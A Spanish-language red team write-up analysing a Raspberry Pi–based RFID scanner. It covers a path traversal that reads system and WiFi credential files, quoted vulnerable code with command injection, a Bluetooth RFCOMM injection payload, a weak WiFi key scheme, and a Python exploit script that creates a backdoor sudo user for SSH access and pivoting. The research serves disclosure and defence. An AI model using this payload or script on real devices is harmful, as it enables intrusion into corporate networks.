Analizando un escáner RFID: las malas prácticas nunca mueren

Hace más de un año el Red Team de BlackArrow realizó un análisis de la seguridad de un escáner RFID utilizado por uno de nuestros clientes. Este tipo de dispositivos suelen entrañar serios riesgos cuando se encuentran integrados en la red de la empresa, ya que la seguridad de los mismos no suele ser una prioridad durante su desarrollo y esto se traduce en la presencia de vulnerabilidades críticas trivialmente explotables.

El objetivo de este artículo es compartir, de manera resumida, algunas de las vulnerabilidades encontradas así como discutir su viabilidad como punto de partida en un ejercicio de Red Team.

Reconocimiento

Externamente el dispositivo posee una pequeña pantalla y cuatro botones (Cancelar/ OK, y Arriba/Abajo) a través de los cuales poder interactuar físicamente con el mismo. En esta misma sección aparecen 5 leds que proporcionan información básica del estado del dispositivo.

Display

En cuanto al interior, se identifica que se trata de una Raspberry Pi Compute Module conectada a un lector RFID propio.
El dispositivo posee varios métodos de conexión a través de los cuales poder interactuar con el mismo:

a) Conexión WiFi
b) Conexión por cable de red
c) Bluetooth

Utilizando el menú interactivo de la pantalla se tiene acceso a la lectura de ciertos parámetros de configuración, como por ejemplo la IP estática utilizada para la conexión por cable de red. Con este conocimiento se procede a conectar un portátil al dispositivo para escanear los servicios expuestos, identificándose los siguientes:

PORT
80/tcp     lighttpd 1.4.35
1234/tcp   Unkown Protocol
50022/tcp  OpenSSH 6.7 Raspbian 5+deb8u3

El servicio web permite la administración limitada de ciertas funcionalidades del dispositivo.

Vulnerabilidades servicio web (Path traversal y RCE)

En la interfaz web existe una funcionalidad para la descarga de ficheros que no comprueba la ruta del fichero solicitado, existiendo por tanto una vulnerabilidad de tipo path traversal, que permite la obtención de cualquier archivo (siempre que se posea permisos de lectura sobre el mismo).

Explotación del path traversal para leer /etc/passwd

A través de esta vulnerabilidad se consigue acceder por un lado a archivos de configuración interesantes de cara a una intrusión (como el wpa_supplicant.conf con los datos que utiliza para conectar a una red WiFi corporativa – además de los certificados necesarios), y por otro el código fuente de la web y los scripts utilizados por ésta. La descarga del código fuente de la aplicación y de los distintos scripts utilizados por el lector, permiten el análisis y la identificación de más vulnerabilidades críticas.

La aplicación web se compone de un script principal en perl (readserver.cgi) que aporta las funcionalidades básicas, y de una serie de scripts en bash que son invocados desde el script principal para llevar a cabo distintas acciones. Al analizar el código fuente se puede observar el manejo inseguro de los parámetros suministrados por el usuario, siendo éstos concatenados directamente en llamadas a comandos del sistema. Este manejo inseguro tiene como consecuencia la posibilidad de inyectar comandos arbitrarios.

Si bien esta situación se da en muchos puntos del código, podemos destacar la siguiente porción de código debido a la utilización de «sudo», que permite la ejecución arbitraria de comandos como un usuario privilegiado:

if ($action eq "inicializarMain") {
	ReturnAreaSelector();	
	my $datetime = param("value");
	dbg ">>> setDateTime $datetime\n";
	my $output = `sudo date $datetime`;
	FileTouch($SYNCTIME_FILE);
	exit;
}

Vulnerabilidades servicio Bluetooth

El escáner RFID por defecto inicia un servicio que utiliza el protocolo RFCOMM para comunicarse con otros dispositivos. Este servicio es un fractal de malas decisiones en cuanto a su diseño y desarrollo. Se trata de un script en python que interactúa a través de RFCOMM con cualquier cliente que utilice este protocolo (no hay implementada ninguna autenticación). El script parsea todos los mensajes que recibe del cliente y dispara acciones en base a estos mensajes, siendo la mayoria de estas acciones peticiones realizadas con el comando curl del sistema, para interactuar con el servicio web previamente mencionado. Adicionalmente, la ejecución del comando se realiza concatenando el contendido del mensaje enviado por RFCOMM directamente a una cadena de texto que es usada por subprocess. La porción de código relevante es la siguiente:

sys.stderr.write( "Call Server http://127.0.0.1/ \n")
if req == "readerserver.cgi?action=readerReset&api=yes" : 
	self.sock.send("OK\r\n")
result = subprocess.check_output("curl --connect-timeout 5 \"http://127.0.0.1/%s\"" % str(req), shell=True)

Debido a este conjunto de errores es posible ejecutar comandos como root utilizando un payload tipo " 1>/dev/null;id # para realizar la inyección. Se puede utilizar un teléfono móvil, por ejemplo, para interactuar con el servicio por RFCOMM y explotarlo:

Dispositivo rooteado desde un móvil con Bluetooth

Configuración punto de acceso WiFi

El dispositivo despliega una red WiFi WPA2 con clave pre-compartida para poder acceder a la interfaz web. La red creada utiliza un nombre fácilmente identificable compuesto por un prefijo fijo y el número de serie del escáner, siendo del tipo «prefijo_2356335345». La clave pre-compartida está compuesta por dos letras mayúsculas y un número, además del mismo prefijo que se usa para el nombre.

Explotabilidad e intrusión

Durante el análisis del dispositivo el cliente proporcionó al Red Team un laboratorio que replica un despliegue real del mismo, encontrándose el escáner RFID conectado a una red WiFi corporativa, con el objetivo de explotar estas vulnerabilidades y comprobar su impacto real a través de una fase de post-explotación.

1. Acceso a red WiFi

Un atacante puede comprometer a distancia el dispositivo explotando la vulnerabilidad identificada en el servicio Bluetooth. Sin embargo, para que el atacante conozca dicha vulnerabilidad ha tenido que obtener acceso previamente al dispositivo y haberlo analizado, lo que resulta menos probable salvo que se trate de un ataque dirigido. En un escenario de caja negra puro tiene más sentido el obtener la clave precompartida de la red WiFi que despliega el dispositivo a través de los handshakes, ya que como se mencionó anteriormente, ésta es extremadamente débil y puede ser crackeada en pocos segundos.

2. Explotación vulnerabilidades web

Con este acceso es posible explotar las vulnerabilidades web mencionadas. El método más sencillo es el uso del RCE para la creación de un nuevo usuario en el dispositivo, agregarlo al grupo ‘sudo’ y acceder al mismo a través de SSH, lo que probablemente sea la forma más cómoda de continuar la intrusión.

cmds = [
    'sudo useradd Tarlogic01',
    'echo "Tarlogic01:pwned" | sudo chpasswd',
    'sudo usermod -aG sudo Tarlogic01'
]

print "[+] Sending requests to create an admin user..."

for cmd in cmds:
    params = {
        'action': 'inicializarMain',
        'value': '`%s`' % cmd
    }
    requests.get('http://' + sys.argv[1] + '/readerserver.cgi', params=params)

print "[+] Try to log in with ssh [email protected]%s -p 50022" % sys.argv[1]

3. Acceso a red corporativa

Una vez se consigue conectar por SSH al dispositivo, el mismo puede ser utilizado directamente para lanzar ataques contra la infraestructura a la que está conectado. El servicio SSH puede ser utilizado como un proxy SOCKS, permitiendo utilizar el dispositivo como un pivote hacia la red interna de la empresa. Otra alternativa, con muchas más ventajas, es la de extraer los certificados y configuraciones necesarias para conectar a la WiFi corporativa y utilizarlos directamente en un portátil.

Conclusión

En este artículo hemos podido ver cómo algo tan inofensivo a priori como un escáner RFID puede convertirse en una autopista hacia la red interna para un atacante. Este tipo de vectores de entrada deben de tenerse en cuenta ya que en muchos casos se trata de opciones cuya explotación y aprovechamiento requieren de un menor esfuerzo con respecto a otras.